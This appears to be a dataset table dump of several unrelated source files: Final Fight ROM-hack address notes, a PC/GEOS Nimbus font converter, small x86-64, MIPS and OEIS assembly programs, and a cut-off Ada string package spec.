max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
ffight/lcs/1p/17.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | 6 | 162789 | copyright zengfr site:http://github.com/zengfr/romhack
004114 clr.b ($17,A6) [1p+42, boss+42, enemy+42]
004118 clr.b ($3,A6)
007110 move.b #$6, ($17,A3) [1p+17]
00714A move.b #$6, ($17,A3) [1p+17]
007360 move.b #$6, ($17,A3) [1p+17]
0073AC move.b #$6, ($17,A1) [enemy+AB]
0073B2 move.b #$6, ($17,A3) [1p+17]
007454 move.b #$6, ($17,A3) [1p+17]
007496 move.b #$6, ($17,A1)
00749C move.b #$6, ($17,A3) [1p+17]
0075B8 move.b #$6, ($17,A3) [boss+17, enemy+17]
0075BE ori.b #$1, ($68,A1) [1p+17]
00AC48 rts [1p+17]
00ADAA bra $add4 [1p+17]
00B222 rts [1p+17]
00B3B0 rts [1p+17]
00B970 rts [1p+17]
copyright zengfr site:http://github.com/zengfr/romhack
|
Appl/NInFnt/ninfntChar.asm | steakknife/pcgeos | 504 | 176002 | <reponame>steakknife/pcgeos
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: GeoCalc
FILE: ninfntChar.asm
AUTHOR: <NAME>, Apr 17, 1991
ROUTINES:
Name Description
---- -----------
EXT CopyNimbusChar copy data for Nimbus character to file
EXT ReadNimbusChar read data for Nimbus character from file
INT NimCopyTuples copy x- or y-hints
INT NimCopyAccent copy accent command data
REVISION HISTORY:
Name Date Description
---- ---- -----------
Gene 4/17/91 Initial revision
DESCRIPTION:
Routines for reading and writing Nimbus character data
$Id: ninfntChar.asm,v 1.1 97/04/04 16:16:51 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ConvertCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ReadNimbusChar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Read Nimbus character data
CALLED BY: CopyNimbusChar()
PASS: bx - source file handle
ax - URW character #
cx - block handle of header
RETURN: bx - handle of block (0 if character not found)
ds - seg addr of block
ax - size of block (0 if character not found)
carry - set if error
ax - NimbusError
DESTROYED: none
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 4/17/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ReadNimbusChar proc near
uses cx, dx, es, di
sourceFileHandle local hptr
headerHandle local hptr
.enter
mov ss:sourceFileHandle, bx
mov ss:headerHandle, cx
mov dx, ax ;dx <- URW character #
call LockNimbusHeader ;ax <- seg addr of header
jc done ;branch if error
mov es, ax ;es <- seg addr of header
mov cx, es:DTCFH_numChars ;cx <- # of characters
push cx
mov di, (size DTCFontHeader) ;es:di <- ptr to char ID table
mov ax, dx ;ax <- URW character #
repne scasw ;scan me jesus
jne charNotFound ;branch if character not found
sub di, (size word) + (size DTCFontHeader)
shl di, 1 ;di <- *2*2 for each offset
add di, (size DTCFontHeader)
pop cx ;cx <- # chars
shl cx, 1 ;cx <- size of char ID table
add di, cx ;es:di <- ptr to file offset
mov dx, es:[di].low
mov cx, es:[di].high ;cx:dx <- offset in file
mov bx, es:[di][(size dword)].low
mov ax, es:[di][(size dword)].high ;bx:ax <- offset of next char
sub ax, cx
sbb bx, dx ;bx <- size of char data
jz charNotFoundNoPop ;branch if zero-sized
push bx
mov al, FILE_SEEK_START ;al <- FileSeekModes
mov bx, ss:sourceFileHandle ;bx <- handle of source file
call FilePos
pop ax ;ax <- size of char data
mov dx, ax ;dx <- size of char data
mov cx, ALLOC_DYNAMIC_LOCK ;cx <- HeapFlags, HeapAllocFlags
call MemAlloc
jc memoryError ;branch if error
push bx
mov bx, ss:sourceFileHandle ;bx <- handle of source file
mov ds, ax ;ds <- seg addr of block
mov cx, dx ;cx <- size of data
clr dx ;ds:dx <- ptr to buffer
clr al ;al <- file flags
call FileRead ;carry set for error
mov ax, cx ;ax <- size of block
pop bx ;bx <- handle of char block
jc readError
tst ds:DTCD_width ;any width?
jz charEmpty ;branch if no width
clc ;carry <- no error
done:
mov cx, ss:headerHandle ;cx <- handle of header
call UnlockNimbusHeader ;preserves flags, ax, bx
.leave
ret
;
; Nimbus files have two bits of goofiness:
; First, characters can have valid offsets but no data.
; This is signified by the difference between the offset
; for the character and the next character being zero.
; Second, characters can have actual data that specifies
; no character. The width is zero (as are the bounds)
;
charEmpty:
call MemFree ;free block
jmp charNotFoundNoPop
charNotFound:
pop cx ;clean stack
charNotFoundNoPop:
clr bx ;bx <- character not found
clr ax ;ax <- character not found
clc ;carry <- no error
jmp done
memoryError:
mov ax, NE_MEM_ALLOC ;ax <- error from Mem routine
jmp done ;carry set
readError:
mov ax, NE_FILE_READ ;ax <- error from FileRead()
jmp done ;carry set
ReadNimbusChar endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CopyNimbusChar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy modified Nimbus character data from source to dest file
CALLED BY:
PASS: bx - source file handle
dx - dest file handle
cx - header block handle
ax - URW character #
RETURN: carry - set on error
ax - NimbusError
ax - size of character data written (0 if none)
DESTROYED: none
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 4/17/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CopyNimbusChar proc near
uses bx, cx, dx, si, di, ds, es
locals local ScanLocals
.enter
mov ss:locals.SL_sourceFileHandle, bx
mov ss:locals.SL_destFileHandle, dx
mov ss:locals.SL_headerHandle, cx
;
; Load the character data
; returns:
; bx = block handle
; ds = seg addr of block
; ax = size of block
;
call ReadNimbusChar
jc done ;branch if error
tst bx ;character loaded/available?
jz noCharData ;branch if not available
mov ss:locals.SL_sourceBlockHandle, bx
clr si ;ds:si <- ptr to data
;
; Allocate a block for the destination data.
; Since our format is smaller, this block is guaranteed
; to be large enough.
;
mov cx, ALLOC_DYNAMIC_LOCK ;cx <- HeapFlags, HeapAllocFlags
call MemAlloc
LONG jc allocError ;branch if error
mov ss:locals.SL_destBlockHandle, bx
mov es, ax
clr di ;es:di <- ptr to NewData
;
; Get and save the width, and copy the rest of the header
;
lodsw ;ax <- width
mov cx, ((size DTCData) - (size DTCD_width))/(size word)
rep movsw ;copy DTCData
;
; Copy the hints, both x and y
;
call NimCopyTuples ;copy x hints
call NimCopyTuples ;copy y hints
;
; Copy the command data, one command at a time
;
commandLoop:
lodsw ;ax <- DTCCommands
stosb ;write command as byte
cmp ax, DTC_DONE ;end of character?
je endChar ;branch while more data
cmp ax, DTC_ACCENT ;accent command?
je accentChar ;special case for accent
mov bx, ax
shl bx, 1 ;bx <- command index
mov cx, cs:commandSizes[bx] ;cx <- size of command
EC < tst cx ;>
EC < ERROR_Z BAD_NIMBUS_COMMAND ;>
NEC < jcxz dataError ;>
rep movsw ;copy me jesus
jmp commandLoop
;
; NOTE: it is assumed that no commands follow an accent command.
; This is true in some fonts but not all. However, we can safefully
; ignore anything after an accent command, as the Nimbus driver
; ignores it, too.
;
accentChar:
call NimCopyAccent ;special case for accent command
jc charError ;branch if error
;
; Done with the source block -- free it
;
endChar:
mov bx, ss:locals.SL_sourceBlockHandle
call MemFree
;
; Flush the data to disk and free the block
;
mov cx, di ;cx <- # of bytes
segmov ds, es
clr dx ;ds:dx <- ptr to buffer
mov bx, ss:locals.SL_destFileHandle ;bx <- file handle
clr al ;al <- flags
call FileWrite
jc writeError ;branch if error
mov ax, cx ;ax <- # of bytes written
mov bx, ss:locals.SL_destBlockHandle
call MemFree
clc ;carry <- no error
done:
.leave
ret
noCharData:
clr ax ;ax <- size of data
clc ;carry <- no error
jmp done
charError:
mov bx, ss:locals.SL_sourceBlockHandle
call MemFree
mov bx, ss:locals.SL_destBlockHandle
call MemFree
clr bx
stc ;carry <- set for error
jmp done
allocError:
mov ax, NE_MEM_ALLOC ;ax <- error from MemAlloc()
jmp done ;carry set
writeError:
mov ax, NE_FILE_WRITE ;ax <- error from FileWrite()
jmp done ;carry set
dataError:
mov ax, NE_BAD_DATA ;ax <- error from bad data
jmp done ;carry set
CopyNimbusChar endp
commandSizes word \
(size DTCMoveData)/(size word),
(size DTCLineData)/(size word),
(size DTCBezierData)/(size word),
0, ;DTC_DONE
0, ;illegal command
-1, ;DTC_ACCENT (special case)
(size DTCVertData)/(size word),
(size DTCHorizData)/(size word),
(size DTCRelLineData)/(size word),
(size DTCRelBezierData)/(size word)
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
NimCopyTuples
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy the hints for a character
CALLED BY: WriteNimbusChar()
PASS: ds:si - ptr to # tuples
es:di - ptr to dest buffer
RETURN: ds:si - ptr past last tuple read
es:di - ptr past last tuple written
DESTROYED: cx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 4/17/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckHack <(size DTCTuple)/(size word) eq 3>
NimCopyTuples proc near
uses ax
.enter
lodsw ;ax <- # of tuples
EC < tst ah ;>
EC < ERROR_NZ TOO_MANY_HINTS ;>
mov cx, ax ;cx <- # of tuples
stosb ;store # of hints
shl ax, 1 ;ax <- # of hints * 2
add cx, ax ;cx <- # to hints * 3
rep movsw
.leave
ret
NimCopyTuples endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
NimCopyAccent
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy an accent command
CALLED BY: WriteNimbusChar()
PASS: ds:si - ptr past command
es:di - ptr to dest buffer
RETURN: ds:si - ptr past last byte read
es:di - ptr past last byte written
carry - set if error
ax - NimbusError
DESTROYED: ax, bx, cx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 4/17/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
NimCopyAccent proc near
.enter
lodsw ;ax <- 1st URW character
call MapURWToGEOS ;al <- PC/GEOS character
jc charNotFound ;branch if character not found
stosb ;store 1st character
lodsw ;ax <- x offset
stosw
lodsw ;ax <- y offset
stosw
lodsw ;ax <- 2nd URW character
call MapURWToGEOS ;al <- PC/GEOS character
jc charNotFound ;branch if character not found
stosb ;store 2nd character
clc ;carry <- no error
done:
.leave
ret
charNotFound:
mov ax, NE_ACCENT_CHAR_MISSING ;ax <- NimbusError
jmp done ;carry set
NimCopyAccent endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScanNimbusChar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Calculate character-based info for font header
CALLED BY: CopyFontHeader()
PASS: bx - handle of character data (0 if none)
cx - handle of DTCFontHeader block
ds - seg addr of character data
es:di - ptr to NewWidth entry
si - offset of CharConvertEntry
dl - PC/GEOS character value (Chars)
ss:bp - inherited locals
RETURN: none
DESTROYED: ax, bx
PSEUDO CODE/STRATEGY:
NFH_maxwidth = MAX(DTCD_width);
NFH_avgwidth = SUM(DTCD_width * weight[char]) / 1000;
NFH_minLSB = MIN(DTCD_xmin);
NFH_maxRSB = MAX(DTCD_xmax);
NFH_maxBSB = MAX(-DTCD_ymin);
NFH_minTSB = MAX(DTCD_ymax);
CTF_NEGATIVE_LSB = (DTCD_xmin < 0);
CTF_BELOW_DESCENT = (-DTCD_ymin > NIMBUS_DESCENT);
CTF_ABOVE_ASCENT = (DTCD_ymax > NIMBUS_BASELINE);
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 4/20/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScanNimbusChar proc near
uses cx, dx
locals local ScanLocals
.enter inherit
tst bx ;character loaded?
jz charMissing ;branch if character missing
clr dh ;dh <- CharTableFlags
call ScanCharWidth ;for DTCD_width
call ScanCharXMin ;for DTCD_xmin
call ScanCharXMax ;for DTCD_xmax
call ScanCharYMin ;for DTCD_ymin
call ScanCharYMax ;for DTCD_ymax
mov es:[di].NW_flags, dh ;store CharTableFlags
;
; Unlock the character data and go to the next character.
;
call MemFree ;done with character
nextChar:
.leave
ret
charMissing:
clr es:[di].NW_width
mov es:[di].NW_flags, mask CTF_NO_DATA
jmp nextChar
ScanNimbusChar endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScanCharWidth
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Deal with flags and values for character width
CALLED BY: ScanNimbusChar()
PASS: ds - seg addr of Nimbus character data (DTCData)
es:di - ptr to NewWidth for character
ss:bp - inherited locals
RETURN: none
DESTROYED: ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 4/20/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScanCharWidth proc near
uses dx
locals local ScanLocals
.enter inherit
mov ax, ds:DTCD_width
mov es:[di].NW_width, ax ;store width
cmp ax, es:NFH_maxwidth ;new maximum width?
jbe notMaxWidth
mov es:NFH_maxwidth, ax ;store new maximum width
notMaxWidth:
mov dl, cs:urwToGeos[si].CCE_weight
tst dl
jz noWeight
clr dh
add ss:locals.SL_weightTotal, dx ;add weight total
mul dx ;dx:ax <- width*weight
add ss:locals.SL_weightAvg.low, ax
adc ss:locals.SL_weightAvg.high, dx ;add to total average
noWeight:
.leave
ret
ScanCharWidth endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScanCharXMin
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Deal with flags and values for character x min value
CALLED BY: ScanNimbusChar()
PASS: ds - seg addr of Nimbus character data (DTCData)
es - seg addr of NewFontHeader
dh - CharTableFlags
si - offset of CharConvertEntry
RETURN: dh - CharTableFlags (updated)
DESTROYED: ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 4/20/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScanCharXMin proc near
.enter
mov ax, ds:DTCD_xmin ;ax <- LSB
cmp ax, es:NFH_minLSB
jge notMinLSB
mov es:NFH_minLSB, ax ;store new min LSB
notMinLSB:
cmp ax, 0 ;less than zero?
jge notNegLSB
ornf dh, mask CTF_NEGATIVE_LSB ;mark as negative LSB
notNegLSB:
.leave
ret
ScanCharXMin endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScanCharXMax
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Deal with flags and values for character x min value
CALLED BY: ScanNimbusChar()
PASS: ds - seg addr of DTCData
es - seg addr of NewFontHeader
si - offset of CharConvertEntry
RETURN: none
DESTROYED: ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 4/20/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScanCharXMax proc near
.enter
mov ax, ds:DTCD_xmax ;ax <- RSB
cmp ax, es:NFH_maxRSB
jle notMaxRSB
mov es:NFH_maxRSB, ax ;store new max RSB
notMaxRSB:
.leave
ret
ScanCharXMax endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScanCharYMin
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Deal with flags and values for character y min value
CALLED BY: ScanNimbusChar()
PASS: ds - seg addr of Nimbus character data (DTCData)
es - seg addr of NewFontHeader
dh - CharTableFlags
si - offset of CharConvertEntry
RETURN: dh - CharTableFlags (updated)
DESTROYED: ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 4/20/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScanCharYMin proc near
.enter
mov ax, ds:DTCD_ymin ;ax <- BSB
neg ax
cmp ax, es:NFH_maxBSB
jle notMaxBSB
mov es:NFH_maxBSB, ax ;store new max BSB
notMaxBSB:
cmp ax, NIMBUS_DESCENT-NIMBUS_SAFETY
jl notBelowDescent
ornf dh, mask CTF_BELOW_DESCENT ;mark as below normal descent
notBelowDescent:
test cs:urwToGeos[si].CCE_flags, mask CCF_DESCENT
jz notDescent
cmp ax, es:NFH_descent
jle notDescent
mov es:NFH_descent, ax ;store new descent
notDescent:
.leave
ret
ScanCharYMin endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScanCharYMax
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Deal with flags and values for character y max value
CALLED BY: ScanNimbusChar()
PASS: ds - seg addr of Nimbus character data (DTCData)
es - seg addr of NewFontHeader
dh - CharTableFlags
si - offset of CharConvertEntry
RETURN: dh - CharTableFlags (updated)
DESTROYED: ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 4/20/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScanCharYMax proc near
.enter
mov ax, ds:DTCD_ymax ;ax <- TSB
cmp ax, es:NFH_minTSB
jle notMaxTSB
mov es:NFH_minTSB, ax ;store new max TSB
notMaxTSB:
cmp ax, NIMBUS_BASELINE-NIMBUS_SAFETY
jl notAboveAscent
ornf dh, mask CTF_ABOVE_ASCENT ;mark as above normal ascent
notAboveAscent:
test cs:urwToGeos[si].CCE_flags, mask CCF_ASCENT or mask CCF_CAP
jz notAscent
cmp ax, es:NFH_ascent
jle notAscent
mov es:NFH_ascent, ax ;store new ascent
notAscent:
test cs:urwToGeos[si].CCE_flags, mask CCF_ACCENT
jz notAccent
cmp ax, es:NFH_accent
jle notAccent
mov es:NFH_accent, ax ;store new accent
notAccent:
.leave
ret
ScanCharYMax endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScanNonBrkSpace
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Setup stuff for non-breaking space (C_NONBRKSPACE)
CALLED BY: CopyFontHeader()
PASS: es - seg addr of NewFontHeader
RETURN: none
DESTROYED: ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 4/23/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScanNonBrkSpace proc near
.enter
cmp es:NFH_firstChar, ' ' ;first character space?
jne nonBrkOK ;if not, ignore non-break
test es:[NewFontHeader]\
[(C_NONBRKSPACE-' ')*(size NewWidth)].NW_width, 0xffff
jnz nonBrkOK
mov ax, es:[NewFontHeader].NW_width ;ax <- width of space
mov es:[NewFontHeader]\
[(C_NONBRKSPACE-' ')*(size NewWidth)].NW_width, ax
mov al, es:[NewFontHeader].NW_flags
mov es:[NewFontHeader]\
[(C_NONBRKSPACE-' ')*(size NewWidth)].NW_flags, al
nonBrkOK:
.leave
ret
ScanNonBrkSpace endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScanDefaultChar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Setup stuff for default character
CALLED BY: CopyFontHeader()
PASS: es - seg addr of NewFontHeader
RETURN: none
DESTROYED: ax, bx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 4/23/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScanDefaultChar proc near
uses di
.enter
;
; Does the default character exist?
;
mov al, es:NFH_defaultChar ;al <- default character
sub al, ' '
mov bl, (size NewWidth)
mul bl ;ax <- offset of NewWidth
add ax, (size NewFontHeader) ;ax <- ptr of NewWidth
mov di, ax
test es:[di].NW_flags, mask CTF_NO_DATA
jz defaultOK
;
; It doesn't exist. Use the first character instead.
;
mov al, es:NFH_firstChar
mov es:NFH_defaultChar, al
mov ax, es:[NewFontHeader].NW_width
mov es:[di].NW_width, ax
mov al, es:[NewFontHeader].NW_flags
mov es:[di].NW_flags, al
defaultOK:
.leave
ret
ScanDefaultChar endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ScanAverageWidth
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Make sure average width is valid.
CALLED BY: CopyFontHeader()
PASS: es - seg addr of NewFontHeader
ss:bp - inherited locals
RETURN: none
DESTROYED: ax, bx, dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 4/23/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ScanAverageWidth proc near
locals local ScanLocals
.enter inherit
mov bx, NIMBUS_WEIGHT_TOTAL
cmp ss:locals.SL_weightTotal, bx ;weights all accounted for?
jne useDefaultWidth ;if not, use default char
;
; The characters used for the weighted average all exist,
; so we can just use the total weighted widths to calculate
; the average width.
;
mov ax, ss:locals.SL_weightAvg.low
mov dx, ss:locals.SL_weightAvg.high
div bx ;ax <- weight total / #
storeWidth:
mov es:NFH_avgwidth, ax ;store weighted average
.leave
ret
;
; One or more of the characters used for the weighted average
; were missing -- just use the width of the default character
; instead.
;
useDefaultWidth:
mov al, es:NFH_defaultChar ;al <- default character
sub al, es:NFH_firstChar
mov bl, (size NewWidth)
mul bl ;ax <- offset of NewWidth
add ax, (size NewFontHeader)
mov bx, ax ;es:bx <- ptr to width entry
mov ax, es:[bx].NW_width ;ax <- width of default char
jmp storeWidth
ScanAverageWidth endp
ConvertCode ends
|
relf/samples/small1.asm | bboortz/monorepo | 0 | 177602 | <reponame>bboortz/monorepo<gh_stars>0
; copied from https://stackoverflow.com/questions/53382589/smallest-executable-program-x86-64
bits 64
global _start
_start:
mov di,42 ; only the low byte of the exit code is kept,
; so we can use di instead of the full edi/rdi
xor eax,eax
mov al,60 ; shorter than mov eax,60
syscall ; perform the syscall
|
oeis/094/A094875.asm | neoneye/loda-programs | 11 | 171488 | <reponame>neoneye/loda-programs
; A094875: a(n)=1 if floor(Pi*10^n) is prime, otherwise a(n)=0.
; Submitted by <NAME>
; 1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
lpb $0
gcd $0,20165
mov $2,20165
lpe
mov $0,$2
add $0,1
mod $0,2
|
0.helpers.asm | mtxr/baseConverter | 0 | 2528 | ######### HELPER FUNCTIONS ##############
printNewline: # Print string newline
la $a0, newline # load the address of newline
li $v0, 4 # print_string syscall code = 4
syscall
jr $ra # return
printString:
li $v0, 4 # print_string syscall code = 4
syscall
jr $ra # return
printError:
la $a0, invalidInputText
jal printString
j exit
readBase:
li $v0, 12 # read_string syscall code = 8
syscall
jr $ra # return
readNumber:
la $a0, inputNumberArray # load inputBase address to argument0
li $v0, 8 # read_string syscall code = 8
li $a1, 32 # space allocated for inputBase
syscall
jr $ra # return
exit:
jal printNewline
li $v0, 10 # exit
syscall
return:
jr $ra # return to last saved address
revertToOutputArray:
la $a0, outputNumberArray # load outputNumberArray address
j revertFromA1
revertToAuxiliaryArray:
la $a0, auxiliaryArray # load outputNumberArray address
j revertFromA1
revertToInputArray:
addi $a1, $a1, -1 # -- auxiliaryArray position
la $a0, inputNumberArray # load outputNumberArray address
j revertFromA1
revertFromA1: # a1 is the last position, (array to revert)
li $t0, 0 # i = 0
revertArrayLoop:
addi $a1, $a1, -1 # -- auxiliaryArray position
lb $t0, 0($a1) # load byte from auxiliaryArray
beqz $t0, return # if no char was read, return to print
sb $t0, 0($a0) # save loaded byte to ouput array
addi $a0, $a0, 1 # ++ outputNumberArray position
j revertArrayLoop # return to loop
copyToAuxiliaryArray:
la $a1, auxiliaryArray
j copyLoop
copyLoop:
lb $t9, 0($a0)
beq $t9, $zero, return
sb $t9, 0($a1)
addi $a0, $a0, 1
addi $a1, $a1, 1
j copyLoop
|
tools/scitools/conf/understand/ada/ada95/a-strfix.ads | brucegua/moocos | 1 | 6194 | <reponame>brucegua/moocos<filename>tools/scitools/conf/understand/ada/ada95/a-strfix.ads<gh_stars>1-10
------------------------------------------------------------------------------
-- --
-- GNAT RUNTIME COMPONENTS --
-- --
-- A D A . S T R I N G S . F I X E D --
-- --
-- S p e c --
-- --
-- $Revision: 2 $ --
-- --
-- This specification is adapted from the Ada Reference Manual for use with --
-- GNAT. In accordance with the copyright of that document, you can freely --
-- copy and modify this specification, provided that if you redistribute a --
-- modified version, any changes that you have made are clearly indicated. --
-- --
------------------------------------------------------------------------------
with Ada.Strings.Maps;
with Ada.Strings.Search;
package Ada.Strings.Fixed is
pragma Preelaborate (Fixed);
--------------------------------------------------------------
-- Copy Procedure for Strings of Possibly Different Lengths --
--------------------------------------------------------------
procedure Move
(Source : in String;
Target : out String;
Drop : in Truncation := Error;
Justify : in Alignment := Left;
Pad : in Character := Space);
------------------------
-- Search Subprograms --
------------------------
-- Note: in this implementation, these search subprograms are in a
-- separate package Ada.Strings.Search. The declarations are thus
